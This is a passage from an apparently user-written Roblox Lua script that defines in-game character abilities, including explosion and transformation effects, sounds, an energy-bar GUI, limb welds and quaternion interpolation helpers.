  1334. plode.Volume = 1
  1335. plode.Pitch = 0.85
  1336. plode.Looped = false
  1337. plode:Play()
  1338. local plodez = Instance.new("Sound",workspace)
  1339. plodez.SoundId = "rbxassetid://288641686"
  1340. plodez.Volume = 1
  1341. plodez.Pitch = 0.75
  1342. plodez.Looped = false
  1343. plodez:Play()
  1344. local plodeza = Instance.new("Sound",workspace)
  1345. plodeza.SoundId = "rbxassetid://197161452"
  1346. plodeza.Volume = 0.85
  1347. plodeza.Pitch = 0.65
  1348. plodeza.Looped = false
  1349. plodeza:Play()
  1350. local plodezar = Instance.new("Sound",workspace)
  1351. plodezar.SoundId = "rbxassetid://197161452"
  1352. plodezar.Volume = 0.85
  1353. plodezar.Pitch = 0.25
  1354. plodezar.Looped = false
  1355. plodezar:Play()
  1356. expld.BlastRadius = rad
  1357. expld.Position = par.Position
  1358. partMesh.Scale = vt(rad,rad,rad)
  1359. expart.Size = vt(1,1,1)*1.5
  1360. expart.Transparency = 0
  1361. expart.Anchored = true
  1362. expart.Material = "Neon"
  1363. expart.BrickColor = bc("White")
  1364. expart.CFrame = par.CFrame
  1365. partMesh2.Scale = vt(rad,rad,rad)
  1366. expart2.Size = vt(1.15,1.15,1.15)*1.5
  1367. expart2.Transparency = 0.5
  1368. expart2.Anchored = true
  1369. expart2.Material = "Neon"
  1370. expart2.BrickColor = tors.BrickColor
  1371. expart2.CFrame = par.CFrame
  1372. local value = 1*rad/10
  1373. par:Destroy()
  1374. for i = 0, 300 do
  1375. partMesh.Scale = partMesh.Scale + vt(value,value,value)
  1376. expart.CFrame = expart.CFrame
  1377. partMesh2.Scale = partMesh2.Scale + vt(value,value,value)
  1378. expart2.CFrame = expart.CFrame
  1379. value = value - 0.0175*rad/10
  1380. if value <= 0 then
  1381. expart.Transparency = expart.Transparency + 0.0125
  1382. expart2.Transparency = expart2.Transparency + 0.0125
  1383. value = 0.25
  1384. end
  1385. wait()
  1386. end
  1387. plode.Parent = nil
  1388. expart.Parent = nil
  1389. expart2.Parent = nil
  1390. expld.Parent = nil
  1391. end
  1392. local Ultramode = false
  1393.  
  1394. function Transform()
  1395. if basiccooldown >= 5 then
  1396. hum.WalkSpeed = 0
  1397. local sparta = Instance.new("Part",workspace)
  1398. local msher = Instance.new("SpecialMesh",sparta)
  1399. msher.MeshType = "Sphere"
  1400. msher.Scale = vt(1,1,1)
  1401. wit = BrickColor.new("Baby blue").Color
  1402. local glowz = Instance.new("ParticleEmitter")
  1403. glowz.LightEmission = 1
  1404. glowz.Parent = sparta
  1405. glowz.Texture = "rbxassetid://284205403"
  1406. glowz.Color = ColorSequence.new(wit)
  1407. glowz.Size = NumberSequence.new(15)
  1408. glowz.Speed = NumberRange.new(100,250)
  1409. glowz.LockedToPart = false
  1410. glowz.Transparency = NumberSequence.new(0.75)
  1411. glowz.RotSpeed = NumberRange.new(-2000,2000)
  1412. glowz.Lifetime = NumberRange.new(1)
  1413. glowz.Rate = 50000
  1414. glowz.VelocitySpread = 9001
  1415. local sa2 = Instance.new("Sound",sparta)
  1416. sa2.SoundId = "rbxassetid://93724183"
  1417. sa2.Pitch = 0.5
  1418. sa2.Volume = 5
  1419. sa2.Looped = false
  1420. sa2:Play()
  1421. local saz2 = Instance.new("Sound",sparta)
  1422. saz2.SoundId = "rbxassetid://199145659"
  1423. saz2.Pitch = 0.45
  1424. saz2.Volume = 5*2
  1425. saz2.Looped = false
  1426. local plode = Instance.new("Sound",sparta)
  1427. plode.SoundId = "rbxassetid://153274423"
  1428. plode.Volume = 5
  1429. plode.Pitch = 1
  1430. plode.Looped = false
  1431. local ploder = Instance.new("Sound",sparta)
  1432. ploder.SoundId = "rbxassetid://130972023"
  1433. ploder.Volume = 5
  1434. ploder.Pitch = 1
  1435. ploder.Looped = false
  1436. sparta.Size = vt(1,1,1)
  1437. sparta.BrickColor = BrickColor.new("Baby blue")
  1438. sparta.Material = "Neon"
  1439. sparta.Transparency = 0
  1440. sparta.Anchored = true
  1441. sparta.CanCollide = false
  1442. sparta.CFrame = tors.CFrame
  1443. sparta.Rotation = vt(0,0,0)
  1444. local value2 = 2
  1445. for i = 0, 24 do
  1446. value2 = value2 - 0.065
  1447. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1448. wait()
  1449. end
  1450. for i = 0, 10 do
  1451. value2 = value2 + 0.06575
  1452. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1453. wait()
  1454. end
  1455. for i = 0, 10 do
  1456. value2 = value2 - 0.2
  1457. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1458. wait()
  1459. end
  1460. for i = 0, 10 do
  1461. value2 = value2 + 0.275
  1462. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1463. wait()
  1464. end
  1465. for i = 0, 10 do
  1466. value2 = value2 - 0.4
  1467. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1468. wait()
  1469. end
  1470. for i = 0, 10 do
  1471. value2 = value2 + 0.475
  1472. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1473. wait()
  1474. end
  1475. for i = 0, 10 do
  1476. value2 = value2 - 0.6
  1477. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1478. wait()
  1479. end
  1480. for i = 0, 10 do
  1481. value2 = value2 + 0.675
  1482. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1483. wait()
  1484. end
  1485. for i = 0, 10 do
  1486. value2 = value2 - 0.7
  1487. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1488. wait()
  1489. end
  1490. for i = 0, 10 do
  1491. value2 = value2 + 0.775
  1492. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1493. wait()
  1494. end
  1495. saz2:Play()
  1496. wait(2.75)
  1497. plode:Play()
  1498. ploder:Play()
  1499. Ultramode = true
  1500. for i = 0, 75 do
  1501. value2 = value2 - 0.0575
  1502. glowz.Rate = 0
  1503. sparta.Transparency = sparta.Transparency + 0.025
  1504. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1505. wait()
  1506. end
  1507. hum.WalkSpeed = 16
  1508. sparta:Destroy()
  1509. end
  1510. end
  1511.  
  1512.  
  1513. function Blaze2()
  1514. if ultcooldown >= 30 then
  1515. local sloc = Instance.new("Part",workspace)
  1516. local msh = Instance.new("SpecialMesh",sloc)
  1517. msh.MeshType = "Sphere"
  1518. sloc.Size = vt(1,1,1)
  1519. sloc.Transparency = 1
  1520. sloc.BrickColor = tors.BrickColor
  1521. sloc.Position = hed.Position + vt(0,0.1,0)
  1522. sloc.CanCollide = false
  1523. sloc.Shape = "Ball"
  1524. sloc.Anchored = true
  1525. sloc.Material = "Neon"
  1526. local s = Instance.new("Sound",char)
  1527. s.SoundId = "rbxassetid://289315275"
  1528. s.Pitch = 1
  1529. s.Volume = 2.75
  1530. s.Looped = false
  1531. s:Play()
  1532. local s2 = Instance.new("Sound",char)
  1533. s2.SoundId = "rbxassetid://671759140"
  1534. s2.Pitch = 0.425
  1535. s2.Volume = 1
  1536. s2.Looped = false
  1537. s2:Play()
  1538. local val = 0.65*5
  1539. for i = 0 , 75 do
  1540. sloc.Transparency = sloc.Transparency - 0.035
  1541. msh.Scale = msh.Scale + vt(val,val,val)
  1542. val = val - 0.0075*5
  1543. wait()
  1544. end
  1545. wait(2)
  1546. local sen = Instance.new("Sound",char)
  1547. sen.SoundId = "rbxassetid://289315275"
  1548. sen.Pitch = 1
  1549. sen.Volume = 2.75
  1550. sen.Looped = false
  1551. sen:Play()
  1552. local tick = Instance.new("Sound",char)
  1553. tick.SoundId = "rbxassetid://446876721"
  1554. tick.Volume = 2.5
  1555. tick.Pitch = 0.5
  1556. tick:Play()
  1557. msh.Scale = msh.Scale - vt(1,1,1)
  1558. sloc.Transparency = sloc.Transparency + 0.015
  1559. local spart = Instance.new("Part",workspace)
  1560. local msh2 = Instance.new("SpecialMesh",spart)
  1561. msh2.MeshType = "Sphere"
  1562. spart.Size = vt(2,2,2)
  1563. spart.Shape = "Ball"
  1564. spart.BrickColor = tors.BrickColor
  1565. spart.Material = "Neon"
  1566. spart.Transparency = 0
  1567. spart.Anchored = false
  1568. msh2.Scale = msh.Scale/2
  1569. spart.Rotation = hed.Rotation
  1570. spart.CanCollide = false
  1571. spart.Position = sloc.Position + vt(math.random(-0,0),math.random(-0,0),math.random(-0,0))
  1572. local bv = Instance.new("BodyVelocity")
  1573. bv.maxForce = Vector3.new(1e9, 1e9, 1e9)
  1574. bv.velocity = mouse.Hit.lookVector * 125
  1575. bv.Parent = spart
  1576. sloc:Destroy()
  1577. wait(0.00001)
  1578. pewdiepie=spart.Touched:connect(function(hit)
  1579. ExplodeMassen(100,spart)
  1580. end)
  1581. wait(5)
  1582. sloc:Destroy()
  1583. tick:Destroy()
  1584. s:Destroy()
  1585. sen:Destroy()
  1586. s2:Destroy()
  1587. end
  1588. if ultcooldown < 1 then
  1589. for i = 0, 29 do
  1590. ultcooldown = ultcooldown + 1
  1591. wait(1)
  1592. end
  1593. end
  1594. end
  1595.  
  1596. function Blaze()
  1597. if ultcooldown >= 30 then
  1598. local ff = Instance.new("ForceField",char)
  1599. local s = Instance.new("Sound",char)
  1600. s.SoundId = "rbxassetid://289315275"
  1601. s.Pitch = 1
  1602. s.Volume = 2.75
  1603. s.Looped = false
  1604. s:Play()
  1605. local s2 = Instance.new("Sound",char)
  1606. s2.SoundId = "rbxassetid://671759140"
  1607. s2.Pitch = 0.425
  1608. s2.Volume = 1
  1609. s2.Looped = false
  1610. s2:Play()
  1611. local spart = boll:Clone()
  1612. local spart2 = shur:Clone()
  1613. local msh = Instance.new("SpecialMesh",spart)
  1614. msh.MeshType = "Sphere"
  1615. spart.Parent = workspace
  1616. spart.Transparency = 1
  1617. spart.Anchored = true
  1618. spart.Position = tors.Position + vt(0,1,0)
  1619. spart.Size = spart.Size + vt(1,1,1)
  1620. for i = 0, 10 do
  1621. spart.BrickColor = tors.BrickColor
  1622. spart.Transparency = spart.Transparency + -0.05
  1623. spart.Position = tors.Position + vt(0,1,0)
  1624. spart.Size = spart.Size + vt(3,3,3)
  1625. wait(0)
  1626. end
  1627. for i = 0, 5 do
  1628. spart.BrickColor = tors.BrickColor
  1629. spart.Transparency = spart.Transparency + -0.05
  1630. spart.Position = tors.Position + vt(0,1,0)
  1631. spart.Size = spart.Size + vt(2.5,2.5,2.5)
  1632. wait(0)
  1633. end
  1634. for i = 0, 5 do
  1635. spart.BrickColor = tors.BrickColor
  1636. spart.Transparency = spart.Transparency + -0.05
  1637. spart.Position = tors.Position + vt(0,1,0)
  1638. spart.Size = spart.Size + vt(1,1,1)
  1639. wait(0)
  1640. end
  1641. for i = 0, 10 do
  1642. spart.BrickColor = tors.BrickColor
  1643. wait(0.1)
  1644. end
  1645. for i = 0, 20 do
  1646. spart.BrickColor = tors.BrickColor
  1647. spart.Transparency = spart.Transparency + 0.05
  1648. spart.Position = tors.Position + vt(0,1,0)
  1649. spart.Size = spart.Size + vt(-5,-5,-5)
  1650. wait(0)
  1651. end
  1652. local sp = spart:Clone()
  1653. sp.Parent = workspace
  1654. sp.Position = spart.Position
  1655. local sp2 = sp:Clone()
  1656. sp2.Parent = workspace
  1657. sp2.Transparency = 0.5
  1658. local msh2 = sp2.Mesh
  1659. msh2.Scale = vt(1250,1250,1250)
  1660. wit = tors.BrickColor.Color
  1661. local glowz = Instance.new("ParticleEmitter")
  1662. glowz.LightEmission = 0.75
  1663. glowz.Parent = sp2
  1664. glowz.Texture = "rbxassetid://284205403"
  1665. glowz.Color = ColorSequence.new(wit)
  1666. glowz.Size = NumberSequence.new(50)
  1667. glowz.Speed = NumberRange.new(425,450)
  1668. glowz.LockedToPart = false
  1669. glowz.Transparency = NumberSequence.new(0.75)
  1670. glowz.RotSpeed = NumberRange.new(-2000,2000)
  1671. glowz.Lifetime = NumberRange.new(1)
  1672. glowz.Rate = 50000
  1673. glowz.VelocitySpread = 9001
  1674. spart2.Parent = workspace
  1675. spart2.Mesh.Scale = vt(25, 90000, 25)
  1676. spart2.Position = tors.Position
  1677. local seen = Instance.new("Sound",char)
  1678. seen.SoundId = "rbxassetid://445796828"
  1679. seen.Pitch = 0.75
  1680. seen.Volume = 1.75
  1681. seen.Looped = true
  1682. seen:Play()
  1683. local sen = Instance.new("Sound",char)
  1684. sen.SoundId = "rbxassetid://289315275"
  1685. sen.Pitch = 0.98
  1686. sen.Volume = 2.65
  1687. sen.Looped = false
  1688. sen:Play()
  1689. local tick = Instance.new("Sound",char)
  1690. tick.SoundId = "rbxassetid://446876721"
  1691. tick.Volume = 5
  1692. tick.Pitch = 0.5
  1693. tick:Play()
  1694. local seena = Instance.new("Sound",char)
  1695. seena.SoundId = "rbxassetid://300916057"
  1696. seena.Pitch = 0.5
  1697. seena.Volume = 2.5
  1698. seena.Looped = false
  1699. seena:Play()
  1700. spart.Transparency = 0
  1701. ExplodeMass(1000,sp)
  1702. for i = 0, 450 do
  1703. spart2.Position = spart.Position + vt(math.random(-1,1),0,math.random(-1,1))
  1704. sp2.Position = spart.Position
  1705. spart2.Mesh.Scale = spart2.Mesh.Scale + vt(0.035, 0, 0.035)
  1706. spart2.BrickColor = tors.BrickColor
  1707. msh2.Scale = msh2.Scale + vt(3.5,3.5,3.5)
  1708. msh.Scale = msh.Scale + vt(50,50,50)
  1709. sp2.Transparency = sp2.Transparency + 0.0005
  1710. spart.Transparency = spart.Transparency + 0.0025
  1711. spart2.Transparency = spart2.Transparency + 0.0025
  1712. wait(0)
  1713. end
  1714. spart:Destroy()
  1715. seena:Destroy()
  1716. ff:Destroy()
  1717. seen:Destroy()
  1718. sen:Destroy()
  1719. tick:Destroy()
  1720. spart2:Destroy()
  1721. s:Destroy()
  1722. sp:Destroy()
  1723. sp2:Destroy()
  1724. s2:Destroy()
  1725. end
  1726. if ultcooldown < 1 then
  1727. for i = 0, 29 do
  1728. ultcooldown = ultcooldown + 1
  1729. wait(1)
  1730. end
  1731. end
  1732. end
  1733.  
  1734. -- sin
  1735. Player=game:GetService("Players").LocalPlayer
  1736. Character=Player.Character
  1737. PlayerGui=Player.PlayerGui
  1738. Backpack=Player.Backpack
  1739. Torso=Character.Torso
  1740. Head=Character.Head
  1741. Humanoid=Character.Humanoid
  1742. m=Instance.new('Model',Character)
  1743. LeftArm=Character["Left Arm"]
  1744. LeftLeg=Character["Left Leg"]
  1745. RightArm=Character["Right Arm"]
  1746. RightLeg=Character["Right Leg"]
  1747. LS=Torso["Left Shoulder"]
  1748. LH=Torso["Left Hip"]
  1749. RS=Torso["Right Shoulder"]
  1750. RH=Torso["Right Hip"]
  1751. Face = Head.face
  1752. Neck=Torso.Neck
  1753. it=Instance.new
  1754. attacktype=1
  1755. vt=Vector3.new
  1756. cf=CFrame.new
  1757. euler=CFrame.fromEulerAnglesXYZ
  1758. angles=CFrame.Angles
  1759. cloaked=false
  1760. necko=cf(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1761. necko2=cf(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1762. LHC0=cf(-1,-1,0,-0,-0,-1,0,1,0,1,0,0)
  1763. LHC1=cf(-0.5,1,0,-0,-0,-1,0,1,0,1,0,0)
  1764. RHC0=cf(1,-1,0,0,0,1,0,1,0,-1,-0,-0)
  1765. RHC1=cf(0.5,1,0,0,0,1,0,1,0,-1,-0,-0)
  1766. RootPart=Character.HumanoidRootPart
  1767. RootJoint=RootPart.RootJoint
  1768. RootCF=euler(-1.57,0,3.14)
  1769. attack = false
  1770. attackdebounce = false
  1771. deb=false
  1772. equipped=true
  1773. hand=false
  1774. MMouse=nil
  1775. combo=0
  1776. mana=0
  1777. trispeed=1
  1778. pathtrans=.7
  1779. attackmode='none'
  1780. local idle=0
  1781. local Anim="Idle"
  1782. local Effects={}
  1783. local gun=false
  1784. local shoot=false
  1785. player=nil
  1786. cloak=false
  1787. lightcolor='Bright blue'
  1788.  
  1789. local Color1=BrickColor.new("White")
  1790.  
  1791. local fengui=it("GuiMain")
  1792. fengui.Parent=Player.PlayerGui
  1793. fengui.Name="WeaponGUI"
  1794. local fenframe=it("Frame")
  1795. fenframe.Parent=fengui
  1796. fenframe.BackgroundColor3=Color3.new(255,255,255)
  1797. fenframe.BackgroundTransparency=1
  1798. fenframe.BorderColor3=Color3.new(17,17,17)
  1799. fenframe.Size=UDim2.new(0.0500000007, 0, 0.100000001, 0)
  1800. fenframe.Position=UDim2.new(0.4,0,0.1,0)
  1801. local fenbarmana1=it("TextLabel")
  1802. fenbarmana1.Parent=fenframe
  1803. fenbarmana1.Text=" "
  1804. fenbarmana1.BackgroundTransparency=0
  1805. fenbarmana1.BackgroundColor3=Color3.new(0,0,0)
  1806. fenbarmana1.SizeConstraint="RelativeXY"
  1807. fenbarmana1.TextXAlignment="Center"
  1808. fenbarmana1.TextYAlignment="Center"
  1809. fenbarmana1.Position=UDim2.new(0,0,0,0)
  1810. fenbarmana1.Size=UDim2.new(4,0,0.2,0)
  1811. local fenbarmana2=it("TextLabel")
  1812. fenbarmana2.Parent=fenframe
  1813. fenbarmana2.Text=" "
  1814. fenbarmana2.BackgroundTransparency=0
  1815. fenbarmana2.BackgroundColor3=Torso.Color
  1816. fenbarmana2.SizeConstraint="RelativeXY"
  1817. fenbarmana2.TextXAlignment="Center"
  1818. fenbarmana2.TextYAlignment="Center"
  1819. fenbarmana2.Position=UDim2.new(0,0,0,0)
  1820. fenbarmana2.Size=UDim2.new(4*mana/100,0,0.2,0)
  1821. local fenbarmana3=it("TextLabel")
  1822. fenbarmana3.Parent=fenframe
  1823. fenbarmana3.Text=" "
  1824. fenbarmana3.BackgroundTransparency=0
  1825. fenbarmana3.BackgroundColor3=Color3.new(Col1,Col2,Col3)
  1826. fenbarmana3.SizeConstraint="RelativeXY"
  1827. fenbarmana3.TextXAlignment="Center"
  1828. fenbarmana3.TextYAlignment="Center"
  1829. fenbarmana3.Position=UDim2.new(0,0,0,0)
  1830. fenbarmana3.Size=UDim2.new(0,0,0.2,0)
  1831. local fenbarmana4=it("TextLabel")
  1832. fenbarmana4.Parent=fenframe
  1833. fenbarmana4.Text="Energy("..mana..")"
  1834. fenbarmana4.BackgroundTransparency=1
  1835. fenbarmana4.BackgroundColor3=Color3.new(0,0,0)
  1836. fenbarmana4.SizeConstraint="RelativeXY"
  1837. fenbarmana4.TextXAlignment="Center"
  1838. fenbarmana4.TextYAlignment="Center"
  1839. fenbarmana4.Position=UDim2.new(0,0,-0.3,0)
  1840. fenbarmana4.Size=UDim2.new(4,0,0.2,0)
  1841. fenbarmana4.FontSize="Size9"
  1842. fenbarmana4.TextStrokeTransparency=0
  1843. fenbarmana4.TextColor=BrickColor.new("White")
  1844.  
  1845. mouse=Player:GetMouse()
  1846. --save shoulders
  1847. RSH, LSH=nil, nil
  1848. --welds
  1849. RW, LW=Instance.new("Weld"), Instance.new("Weld")
  1850. RW.Name="Right Shoulder" LW.Name="Left Shoulder"
  1851. LH=Torso["Left Hip"]
  1852. RH=Torso["Right Hip"]
  1853. TorsoColor=BrickColor.new("White")
  1854. function NoOutline(Part)
  1855. Part.TopSurface,Part.BottomSurface,Part.LeftSurface,Part.RightSurface,Part.FrontSurface,Part.BackSurface = 10,10,10,10,10,10
  1856. end
  1857. player=Player
  1858. ch=Character
  1859. RSH=ch.Torso["Right Shoulder"]
  1860. LSH=ch.Torso["Left Shoulder"]
  1861. --
  1862. RSH.Parent=nil
  1863. LSH.Parent=nil
  1864. --
  1865. RW.Name="Right Shoulder"
  1866. RW.Part0=ch.Torso
  1867. RW.C0=cf(1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.3, 0, -0.5)
  1868. RW.C1=cf(0, 0.5, 0)
  1869. RW.Part1=ch["Right Arm"]
  1870. RW.Parent=ch.Torso
  1871. --
  1872. LW.Name="Left Shoulder"
  1873. LW.Part0=ch.Torso
  1874. LW.C0=cf(-1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8)
  1875. LW.C1=cf(0, 0.5, 0)
  1876. LW.Part1=ch["Left Arm"]
  1877. LW.Parent=ch.Torso
  1878.  
  1879.  
  1880. function part(formfactor,parent,reflectance,transparency,brickcolor,name,size)
  1881. local fp=it("Part")
  1882. fp.formFactor=formfactor
  1883. fp.Parent=parent
  1884. fp.Reflectance=reflectance
  1885. fp.Transparency=transparency
  1886. fp.CanCollide=false
  1887. fp.Locked=true
  1888. fp.BrickColor=brickcolor
  1889. fp.Name=name
  1890. fp.Size=size
  1891. fp.Position=Torso.Position
  1892. NoOutline(fp)
  1893. fp.Material="Neon"
  1894. fp:BreakJoints()
  1895. return fp
  1896. end
  1897.  
  1898. function mesh(Mesh,part,meshtype,meshid,offset,scale)
  1899. local mesh=it(Mesh)
  1900. mesh.Parent=part
  1901. if Mesh=="SpecialMesh" then
  1902. mesh.MeshType=meshtype
  1903. if meshid~="nil" then
  1904. mesh.MeshId="http://www.roblox.com/asset/?id="..meshid
  1905. end
  1906. end
  1907. mesh.Offset=offset
  1908. mesh.Scale=scale
  1909. return mesh
  1910. end
  1911.  
  1912. function weld(parent,part0,part1,c0)
  1913. local weld=it("Weld")
  1914. weld.Parent=parent
  1915. weld.Part0=part0
  1916. weld.Part1=part1
  1917. weld.C0=c0
  1918. return weld
  1919. end
  1920.  
  1921. local Color1=BrickColor.new("White")
  1922.  
  1923. local bodvel=Instance.new("BodyVelocity")
  1924. local bg=Instance.new("BodyGyro")
  1925.  
  1926. function swait(num)
  1927. if num==0 or num==nil then
  1928. game:service'RunService'.Stepped:wait(0)
  1929. else
  1930. for i=0,num do
  1931. game:service'RunService'.Stepped:wait(0)
  1932. end
  1933. end
  1934. end
  1935.  
  1936.  
  1937. so = function(id,par,vol,pit)
  1938. coroutine.resume(coroutine.create(function()
  1939. local sou = Instance.new("Sound",par or workspace)
  1940. sou.Volume=vol
  1941. sou.Pitch=pit or 1
  1942. sou.SoundId="rbxassetid=935501955"
  1943. swait()
  1944. sou:play()
  1945. game:GetService("Debris"):AddItem(sou,6)
  1946. end))
  1947. end
  1948.  
  1949. function clerp(a,b,t)
  1950. local qa = {QuaternionFromCFrame(a)}
  1951. local qb = {QuaternionFromCFrame(b)}
  1952. local ax, ay, az = a.x, a.y, a.z
  1953. local bx, by, bz = b.x, b.y, b.z
  1954. local _t = 1-t
  1955. return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t))
  1956. end
  1957.  
  1958. function QuaternionFromCFrame(cf)
  1959. local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components()
  1960. local trace = m00 + m11 + m22
  1961. if trace > 0 then
  1962. local s = math.sqrt(1 + trace)
  1963. local recip = 0.5/s
  1964. return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5
  1965. else
  1966. local i = 0
  1967. if m11 > m00 then
  1968. i = 1
  1969. end
  1970. if m22 > (i == 0 and m00 or m11) then
  1971. i = 2
  1972. end
  1973. if i == 0 then
  1974. local s = math.sqrt(m00-m11-m22+1)
  1975. local recip = 0.5/s
  1976. return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip
  1977. elseif i == 1 then
  1978. local s = math.sqrt(m11-m22-m00+1)
  1979. local recip = 0.5/s
  1980. return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip
  1981. elseif i == 2 then
  1982. local s = math.sqrt(m22-m00-m11+1)
  1983. local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip
  1984. end
  1985. end
  1986. end
  1987.  
  1988. function QuaternionToCFrame(px, py, pz, x, y, z, w)
  1989. local xs, ys, zs = x + x, y + y, z + z
  1990. local wx, wy, wz = w*xs, w*ys, w*zs
  1991. local xx = x*xs
  1992. local xy = x*ys
  1993. local xz = x*zs
  1994. local yy = y*ys
  1995. local yz = y*zs
  1996. local zz = z*zs
  1997. return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy))
  1998. end
  1999.  
  2000. function QuaternionSlerp(a, b, t)
  2001. local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4]
  2002. local startInterp, finishInterp;
  2003. if cosTheta >= 0.0001 then
  2004. if (1 - cosTheta) > 0.0001 then
  2005. local theta = math.acos(cosTheta)
  2006. local invSinTheta = 1/math.sin(theta)
  2007. startInterp = math.sin((1-t)*theta)*invSinTheta
  2008. finishInterp = math.sin(t*theta)*invSinTheta
  2009. else
  2010. startInterp = 1-t
  2011. finishInterp = t
  2012. end
  2013. else
  2014. if (1+cosTheta) > 0.0001 then
  2015. local theta = math.acos(-cosTheta)
  2016. local invSinTheta = 1/math.sin(theta)
  2017. startInterp = math.sin((t-1)*theta)*invSinTheta
  2018. finishInterp = math.sin(t*theta)*invSinTheta
  2019. else
  2020. startInterp = t-1
  2021. finishInterp = t
  2022. end
  2023. end
  2024. return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp
  2025. end
  2026.  
  2027. function rayCast(Pos, Dir, Max, Ignore) -- Origin Position , Direction, MaxDistance , IgnoreDescendants
  2028. return game:service("Workspace"):FindPartOnRay(Ray.new(Pos, Dir.unit * (Max or 999.999)), Ignore)
  2029. end
  2030.  
  2031. function SkullEffect(brickcolor,cframe,x1,y1,z1,delay)
  2032. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2033. prt.Anchored=true
  2034. prt.CFrame=cframe
  2035. local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=4770583",vt(0,0,0),vt(x1,y1,z1))
  2036. --http://www.roblox.com/asset/?id=4770560
  2037. game:GetService("Debris"):AddItem(prt,2)
  2038. CF=prt.CFrame
  2039. coroutine.resume(coroutine.create(function(Part,Mesh,TehCF)
  2040. for i=0,1,0.2 do
  2041. wait()
  2042. Part.CFrame=CF*cf(0,0,-0.4)
  2043. end
  2044. for i=0,1,delay do
  2045. wait()
  2046. --Part.CFrame=CF*cf((math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5)
  2047. Mesh.Scale=Mesh.Scale
  2048. end
  2049. for i=0,1,0.1 do
  2050. wait()
  2051. Part.Transparency=i
  2052. end
  2053. Part.Parent=nil
  2054. end),prt,msh,CF)
  2055. end
  2056.  
  2057. function MagicBlock(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2058. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2059. prt.Anchored=true
  2060. prt.CFrame=cframe
  2061. msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  2062. game:GetService("Debris"):AddItem(prt,5)
  2063. coroutine.resume(coroutine.create(function(Part,Mesh)
  2064. for i=0,1,delay do
  2065. wait()
  2066. Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2067. Part.Transparency=i
  2068. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2069. end
  2070. Part.Parent=nil
  2071. end),prt,msh)
  2072. end
  2073.  
  2074. function MagicBlock2(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay)
  2075. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2076. prt.Anchored=false
  2077. prt.CFrame=cframe
  2078. msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  2079. local wld=weld(prt,prt,Parent,cframe)
  2080. game:GetService("Debris"):AddItem(prt,5)
  2081. coroutine.resume(coroutine.create(function(Part,Mesh,Weld)
  2082. for i=0,1,delay do
  2083. wait()
  2084. Weld.C0=euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))*cframe
  2085. --Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2086. Part.Transparency=i
  2087. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2088. end
  2089. Part.Parent=nil
  2090. end),prt,msh,wld)
  2091. end
  2092.  
  2093. function MagicBlock3(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay)
  2094. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2095. prt.Anchored=false
  2096. prt.CFrame=cframe
  2097. msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  2098. local wld=weld(prt,prt,Parent,euler(0,0,0)*cf(0,0,0))
  2099. game:GetService("Debris"):AddItem(prt,5)
  2100. coroutine.resume(coroutine.create(function(Part,Mesh,Weld)
  2101. for i=0,1,delay do
  2102. wait()
  2103. Weld.C0=euler(i*20,0,0)
  2104. --Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2105. Part.Transparency=i
  2106. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2107. end
  2108. Part.Parent=nil
  2109. end),prt,msh,wld)
  2110. end
  2111.  
  2112. function MagicCircle2(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2113. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2114. prt.Anchored=true
  2115. prt.CFrame=cframe
  2116. local msh=mesh("CylinderMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  2117. game:GetService("Debris"):AddItem(prt,2)
  2118. coroutine.resume(coroutine.create(function(Part,Mesh)
  2119. for i=0,1,delay do
  2120. wait()
